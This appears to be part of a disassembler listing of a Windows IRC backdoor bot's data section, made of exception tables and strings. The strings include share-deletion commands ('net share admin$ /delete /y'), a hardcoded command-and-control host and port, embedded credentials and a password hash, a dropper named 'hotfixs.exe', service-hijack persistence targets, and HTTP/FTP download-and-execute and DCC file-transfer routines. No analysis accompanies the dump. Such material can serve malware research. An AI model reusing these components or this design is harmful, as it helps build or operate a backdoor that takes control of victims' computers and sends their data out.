dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0
dd offset loc_43B2C8
align 10h
dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h
dd 2 dup(0)
dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0)
dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0
dd offset loc_43B34B
dd 2 dup(0)
dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0
dd offset loc_43B37B
dd 0
dd offset loc_43B383
dd 0
dd offset loc_43B38B
dd 3, 43B393h, 4, 43B39Bh, 0
dd offset loc_43B3A3
dd 6, 43B3ABh, 7, 43B3B3h, 0
dd offset loc_43B3BB
dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
dd offset loc_43B3D3
dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0
dd offset loc_43B3EB
dd 0Fh, 43B3F3h, 0
dd offset loc_43B3FB
dd 11h, 43B403h, 0
dd offset loc_43B40B
dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0)
dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0)
dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0)
dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0)
dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0)
dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
dd 43B69Ch, 6 dup(0)
dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0)
dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0
dd offset loc_43B708
dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0
dd offset loc_43B758
dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0)
dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0)
dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0)
dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0)
dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0)
dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0)
dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0)
dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0)
dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0
dd offset loc_43B8A8
dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0
dd offset loc_43B908
dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0
dd offset loc_43B968
dd 1, 43B976h, 2 dup(0)
dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0
dd offset loc_43B9AB
dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh
dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0)
dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0)
dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0)
dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0)
dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0)
dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441F68h, 4 dup(0)
dd offset loc_42AF54
align 10h
dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441FC8h, 4 dup(0)
dd offset loc_42B031
align 10h
dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0
dd offset loc_43BBA8
dd 1, 43BBB0h, 2 dup(0)
dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0)
dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0)
dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0)
dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0)
dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0)
dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
dd 43BCA8h, 2 dup(0)
dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh
dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0)
dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0
dd offset loc_43BDEB
align 10h
dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0)
dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd 106h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_4034E0+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4435EC: ; DATA XREF: sub_4034E0+66o
; sub_40FF60:loc_41083Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_404C70+875o
; sub_404C70+AF1o ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o
; sub_404C70+B5Eo ...
align 10h
asc_443600: ; DATA XREF: sub_404640:loc_40471Fo
; sub_404640+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404640+75o
; sub_40FF60:loc_410949o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
align 8
aN: ; DATA XREF: sub_404C70+D23o
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404C70+447o
; sub_41C030+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o
; sub_404C70+9B1o ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_406890+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo
a2003 db '2003',0 ; DATA XREF: sub_406890+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_406890+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_406890+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_406890+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_406890+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_406890+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_406890+9Co
align 4
aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo
; ___:00406E35o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o
; sub_40EC30+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: ___:00406D73o
dd 0
dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086ECo ...
dword_4437F8 dd 40h ; sub_40FF60+7CCo ...
dword_4437FC dd 20544F48h, 53584946h, 0aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+386o
align 4
dd 0
aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+375o
align 4
aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o
align 10h
aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+353o
dd 0
aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+345o
align 4
aHoewrt db 'hoewrt',0 ; DATA XREF: sub_407790+334o
align 4
aHotfixs_exe db 'hotfixs.exe',0 ; DATA XREF: sub_407790+323o
dd 0
aServec db 'servec',0 ; DATA XREF: sub_407790+312o
align 4
aS_1 db '#s',0 ; DATA XREF: sub_407790+301o
align 4
aScop db '#scop#',0 ; DATA XREF: sub_407790+2F0o
align 10h
a7000 db '7000',0 ; DATA XREF: sub_407790+298o
align 4
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
; sub_407790+2BAo
align 10h
off_4438B0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_4438D0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_4438F8 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
; ___:0040A971o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo
; sub_40B700+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B79Fo
align 10h
aFalse db 'false',0 ; DATA XREF: ___:0040B844o
align 4
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
align 10h
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o
align 10h
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
align 4
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C400+48Ao
align 10h
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
align 10h
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o
align 10h
dword_443A20 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C400+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
align 4
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
align 8
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
align 8
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
align 8
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
align 10h
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o
dd 0
asc_443AF4: ; DATA XREF: sub_40CBB0+113o
; sub_4200F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o
align 4
aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo
align 10h
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o
align 10h
aBai_0 db ' -bai ',0
align 4
aSCS db '%s%c%s',0
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o
align 10h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
align 10h
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o
align 10h
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
align 4
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o
; sub_40EF90+Ao ...
align 4
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o
align 10h
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
align 10h
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o
align 8
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
align 10h
dd 0
asc_443C74 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo
; sub_40FF60+1118o ...
align 4
asc_443C78: ; DATA XREF: sub_40FF60+CACo
; sub_40FF60+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o
; sub_40FF60:loc_410BB7o
aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo
; sub_40FF60:loc_410B96o
asc_443C84: ; DATA XREF: sub_40FF60+871o
; sub_40FF60:loc_410BD8o ...
unicode 0, <:>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
; sub_40FF60+732o ...
align 8
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 10h
dd 0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o
; sub_4126B0+91o ...
dd 0
dword_443CC4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4 dd 0A0D7325h, 0 ; sub_42D1A0+71o
dword_443CDC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo
dword_443CEC dd 4255505Bh, 5D43494Ch, 0dword_443CF8 dd 4952505Bh, 45544156h, 5Dhdword_443D04 dd 202Eh ; sub_4126B0+E5o
dword_443D08 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o
align 10h
aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao
align 4
asc_443D24: ; DATA XREF: ___:loc_412E63o
dw 3Ch
unicode 0, <>,0
asc_443D28: ; DATA XREF: ___:loc_412E4Co
dw 3Eh
unicode 0, <>,0
asc_443D2C db '==',0 ; DATA XREF: ___:loc_412E35o
align 10h
asc_443D30 db '!=',0 ; DATA XREF: ___:00412E21o
align 4
a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o
align 4
aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o
align 4
aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo
align 4
aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o
; sub_4192C0+297o
align 4
aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o
align 10h
aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o
align 10h
off_443D70 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o
; ___:0042B302o ...
dword_443D74 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo
dword_443D80 dd 652Dh dword_443D84 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
align 10h
aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo
align 10h
byte_443DC0 db 1 ; DATA XREF: sub_41A290r
align 4
dword_443DC4 dd 2Eh ; ___:0041B235o ...
dword_443DC8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------
loc_443E14: ; DATA XREF: ___:00421759o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_443E28 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74 dd 63257325h, 0 ; sub_41F860+E5o
dword_443E7C dd 72h dword_443E80 dd 30h ; sub_424840+327o
dword_443E84 dd 3039h dword_443E88 dd 383631h dword_443E8C dd 323931h dword_443E90 dd 3631h dword_443E94 dd 323731h dword_443E98 dd 3031h off_443E9C dd offset dword_5C005C ; DATA XREF: ___:0041C117r
; ___:0041C287r
word_443EA0 dw 0 ; DATA XREF: ___:0041C121r
; ___:0041C291r
align 4
off_443EA4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r
; ___:0041C256r
dword_443EA8 dd 430050h ; ___:0041C25Br
dword_443EAC dd 24h ; ___:0041C27Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o
align 8
asc_443EE8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo
db 0Dh,0Ah,0
align 10h
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o
align 10h
aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o
; ___:0041FC87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o
align 4
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo
align 10h
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo
align 10h
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo
dd 0
dword_443FEC dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC dd 6469706Bh, 7325203Ah, 0dword_444008 dd 203A736Bh, 7325hdword_444010 dd 202E6425h, 7325202Fh, 0dword_44401C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
align 10h
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o
; sub_41EF30+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o
; sub_41EF30+677o
align 10h
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41EF30+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo
align 10h
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o
; sub_41EF30+51Ao
align 4
asc_444098: ; DATA XREF: sub_41EF30+2EFo
; sub_41EF30+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o
; sub_41EF30+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o
; sub_41EF30+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o
; sub_41EF30+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o
; sub_41EF30+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
align 8
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
align 4
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o
; sub_420530+C4r ...
align 10h
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo
; sub_4207E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
; sub_4207E0+2BEo
align 8
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
align 8
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o
align 10h
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o
; sub_420530+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
align 10h
aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o
align 10h
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo
align 10h
aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o
align 4
